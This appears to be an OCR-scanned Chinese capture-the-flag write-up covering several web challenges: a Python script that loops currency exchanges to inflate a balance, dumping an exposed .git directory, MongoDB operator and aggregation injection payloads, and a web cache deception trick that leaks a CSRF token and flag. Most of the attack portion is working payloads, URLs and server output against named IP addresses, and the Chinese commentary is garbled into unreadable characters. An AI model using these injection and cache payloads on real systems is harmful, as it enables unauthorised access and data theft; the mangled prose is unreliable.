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Bitkoff Bank

Your USD: 0
Your BTC: 0.00003

MINE BTC
buy auto-miner
buy flag (1)

UsD || USD = change

A —mine btc, 37$0.0000000001 BTC, 1% Eauto-miner&Z0.1 USD.

i Eauto-miner/i, FATHKIM T2 HIXH—script, FHFERAIAET10000k, ELFREFFEIVEEREEXLZ
BTC:

Your USD: <b>0.159472</b><br>Your BTC: <b>0.0000000047</b><br>
<form action='/index.php' method="POST">
<input type="hidden" name='mine' value='1l'>
<input type="submit" id='minerbutton' value="MINE BTC">
</form>

<script>setTimeout (function( ) {document.getElementById( 'minerbutton').click()}, 1000);</script>

<form action='/index.php' method="POST">
<input type="hidden" name='flag' wvalue='1l'>
<input type="submit" value='buy flag ($1)'>
</form>

<form action='/index.php' method="POST">
<select name="from currency">
<option value="usd">USD</option>
<option value="btc">BTC</option>
</select>
<select name="to_ currency">
<option value="usd">USD</option>
<option value="btc">BTC</option>
</select>
<input type="number" step="0.0001" name="amount">
<input type="submit" value="change">
</form>
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import requests

import re

url = "http://95.179.148.72:8083/index.php’
cookie = {

'name’:'yyplsky',

'password':'yyplskycool"’

}

def GetUSD():

while True:

try:

r = requests.get(url,cookies=cookie,timeout=3)
res = r.content

res = re.findall(r'<b>([0-9\.]*)</b><br>"',res)
return res[0]

except:

pass

def USD_to_BTC(USD):

data = {

"from_currency':'usd’,

"to_currency':'btc',

"amount’ :USD

}

while True:

try:

r = requests.post(url,data=data, cookies=cookie,timeout=3)
break

except:

pass

def GetBTC():

while True:

try:

r = requests.get(url,cookies=cookie,timeout=3)
res = r.content

res = re.findall(r'<b>([0-9\.]*)</b><br>"',res)
return res[1]

except:

pass

def BTC_to_USD(BTC):

data = {

'from_currency': 'btc’,

'to_currency':'usd’,

"amount ' :BTC

}

while True:

try:

r = requests.post(url,data=data, cookies=cookie,timeout=3)
break

except:

pass

for i in range(200):

USD = GetUSD()

print USD

USD_to_BTC(USD)

BTC = GetBTC()

print BTC

BTC_to_USD(BTC)
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XRAR B Shard, EEHBILTIERR, AT HKERE LIRS H2EE], EREH_Fadmin
cookie, A LATRATTAT LA B4 % trcookieid Nadmin i, SEBATW LA E £ sidishow flagdkBtflag.
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http://173.199.118.226/.git/HEAD

BT githackerJFAD M &, & FIFAT

python GitHacker.py http://173.199.118.226/.git/
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function auth($username, $password) {
$collection ( MongoDB\Client('mongodb://localhost:27017/'))—>test->users;
$raw_query '{"username": "'.$username.'", "password": "'.$password."'"}';
$document = $collection->findOne(json_decode($raw_query));
(isset($document) isset($document->password)) {
true;

false;

}

$user false;
(isset($_COOKIE['username']) isset($_COOKIE['password']l)) {
$user = auth($_COOKIE['username']l, $_COOKIE['password']);

(isset($_POST['username']) isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
($user) {
setcookie('username', $_POST['username']);
setcookie( 'password', $_POST['password']);

BAVERBIEsqBF AL, FNINMETIEIE:

$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';

B H & B EPERAI1E N Fusernameflpassword. {BF A5 4:Fjson_decode, FrblSEIBAIHAEEM AL
77 {%3#17Bypass:

$document = $collection->findOne(json_decode($raw_query));
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username=admin
password[$ne]=1

XPERIE R & hadmin, B RNIKEP, BABREHRFEEARTEAN, 40 LLRIHILE 2% 2 57
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<?php

error_reporting(1);

$username="admin"';

$password[$ne]="1";

$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}"';

var_dump(json_decode($raw_query));

class stdClass#1 (2) {
public $username =>
string(5) "admin"

public $password =>
string(5) "Array"
s

EBATAT DA IE R RIA, RA S IERATARZE Mexp:

<?php

error_reporting(1);

$password = array('$ne' => '1');

$res = array('username' => 'admin', 'password' => $password);
var_dump(json_encode($res));

SER

{"username":"admin", "password":{"$ne":"1"}}

BT ARRATTE) B A5 R 43 X A iexp, BN A] @ #r i password[$ne]=1.
2 BRAT{E password ¥ BLiE N BT :

aaa", "password": {"$ne": "test"}, "username": "admin

R :



username = admin

password = aaa", "password": {"$ne": "test"}, "username": "admin
XFERT LA 3]
{"username": "admin", "password": "aaa", "password": {"$ne": "test"}, "username": "admin"}

R, BATBIAT R BN E KR EE R

"password": {"$ne": "test"}, "username": "admin"

FNJE, RENE AP

<?php
$filter = $_GET['filter'];

$collection ( MongoDB\Client('mongodb://localhost:27017/'))—>test—>news;

$pipeline = [
['$group’ ['_id' '$category', 'count' ['$sum' 1111,
['$sort’ ['count’ 111,
['$limit" 51,
1;
$filters [
['$project’ ['category' $filter]]
1;

$cursor = $collection—>aggregate(array_merge($filters, $pipeline));

Bt E W RE41, Emongodbifjaggregated, T LAE F $cond kAT & A-1E 4]«



collection.aggregate(
{
$match : {
'_id' : {$in:ids}

$group: {
_id: '$someField’,

count: {$sum: { $cond: [ { $eq: [ "$otherField", 1%},1, 011}

(err, result){

AN KA AT PR

[$cond][if][$eq]
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collection.aggregate(
{
$match : {
'_id' : {$in:ids}

$group: {
_id: '$someField’

count: {$sum: { $cond: [ {$and : [ { $eq: [ "$otherField", 1},

{ $eq: [ "$anotherField","value"] }
1},
1,
01}

(err, result){

[$cond][if][$eq]
[$cond][if][$eq]

New in version 2.6.

{ $cond: { if: <boolean-expression>, then: <true-case>, else: <false-case-> } }

{ $cond: [ <boolean-expression>, <true-case>, <false-case> ] }

ARABATHT LA -

if then else

bt 2 AT UL AC Bl flagsi 18, B HAERR:



http://173.199.118.226/index.php?filter[$cond][if][$eq][]=Fflags&filter[$cond][if][$eq]
[]=%$category&filter[$cond][then]=$$REMOVE&filter[$cond][else]=$category

RIflagsti Bk :

Welcome!

Group most common news by category | publicity
politics has 9 news

has 9 news h

comedy has 5 news
finance has 5 news

7E UL EC Bpublicht, K H AR

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=public&filter[$cond][if][$eq]
[]=$category&filter[$cond][then]=$$REMOVE&filter[$cond][else]=%$category

KB IEH -

Welcome!

Group most common news by category | publicity
politics has 9 news

flags has 9 news h-

finance has 5 news
comedy has 5 news

MAFIHEMER, KBiflagsh, i Hiitle:

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq]
[1=$category&filter[$cond][then]=$title&filter[$cond][else]=$category



Welcome!

Group most common news by category | publicity

politics has 9 news

comedy has 5 news

finance has 5 news

Dolorum animi_et autem accusantium nihil similique ut iste. has 1 news
This is a ﬂaghas 1 news

Miitlerr FAIF M Ftext, WAL KRG

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=Fflags&filter[$cond][if][$eq]
[]=$category&filter[$cond][then]=$text&filter[$cond][else]=%$category

BT & 3 flag:

Welcome!

Group most common news by category | publicity

politics has 9 news

comedy has 5 news

finance has 5 news

Quia magnam nemo aperiam et aut ut similique. Veniam ipsa recusandae inventore quos ipsam. Velit hic nobi
cybrics{7|-|15 15 4 7E><7 |=|_49} has 1 news
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Fixaref
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Listening on [0.0.0.0] (family @, port 24444)

onnection from [95.179.190.31] port 24444 [tcp/*] accepted (family 2, sport 389
4)

=0 4 Lzl al

stz TR, = 1 = &5 24444

ser—-Agent: |python-requests/2.18.4
Accept-Encoding: gzip, deflate
Neferganey B

onnection: keep-alive

WBjE, KIRpython requests’kt, [FEE Flhttp header


http://txc248.com/

v Response Headers View source

Access-Control-Allow-Origin: *

Cache-Control: no-store, no-cache, must-revalidate
Connection: keep-alive

Content-Encoding: gzip

Content-Type: text/html; charset=UTF-8

Date: Mon, 22 Jul 2019 03:09:40 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Server: nginx/1.14.0 (Ubuntu)

Transfer-Encoding: chunked

RILT —A&EMheader, RGN, ATRMZEFR, FNKEZATIETHK S E Kflagiér: cacheis
vulnerabilities. 4 % 4 & 81 1% & F| F cache i 1] 7

AT EE B B V5
http://95.179.190.31/index.php/skyiscool.js
RPLAT DUE B ) T -

C 0O O® A%L2 | 95179.190.31/index.php/skyiscool.j
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Hello, moderator
Ask support:
Ask

Retrieve the secret flag:
Show flag



Ask support:
<form name="support" action="/" method="POST">
<input type="hidden" name="csrf-token" value="b04d2bc2£f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd">

<input type="text" name="question" value="">
<input type="submit" name="submit" value="Ask">
</form>

</div>

Retrieve the secret flag: /
<form name="flag" action="/">

<input type="hidden" name="csrf-token" value="b04d2bc2£f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd">
<input type="hidden" name="flag" value="1">

<input type="submit" value="Show flag"> &

</form>

oA BEEHflag, WAiLEE ZEK:

http://95.179.190.31/index.php/skyiscool.js?csrf-
token=b0@4d2bc2f3d3654947ba82d59a2b367630743d3447dbc@af46182359f166c4bd&flag=1

BERIEAIlagS Hiki £ 5
Looks interesting

http://95.179.190.31/index.php/skyiscool.js?csrf-token=b04d2bc2f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd

N T HROUABEEIERN, B2 HE I TR

http://1.1.1.1/?a=18&b=2

RIS H W EF

Looks interesting

http://1.1.1.1/2a=1

MAHIE A WA HERL Z R R R EANNSE, A B A b S 5440
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http://1.1.1.1/?a=1%26b=2

RIEI:

Looks interesting

http://1.1.1.1/2a=1&b=2

MafERI Fexp, ik HIER:



http://95.179.190.31/index.php/skyiscool.js?csrf-
token=b0@4d2bc2f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd%26flag=1

RIS E 2 WA flagZ 4L
Looks interesting

http://95.179.190.31/index.php/skyiscool.js?csrf-token=b04d2bc2f3d3654947ba82d59a2b367630743d3447dbc0af46182359f166c4bd&flag=1

Vi Hlcache 1, % Flflag:

&< C 0O © FAFZ£ | 95.179.190.31/index.php/skyiscool.js?csrf-token=b04d2bc

i ¥H K" & Sky'sblog = % webiled-—al-Tu—_tf g3 = 7

Flag: cybrics{Bu9s_C4N_83_uN1N73Nd3D!}

cybrics{Bu9s_C4N_83_uNIN73Nd3D!}
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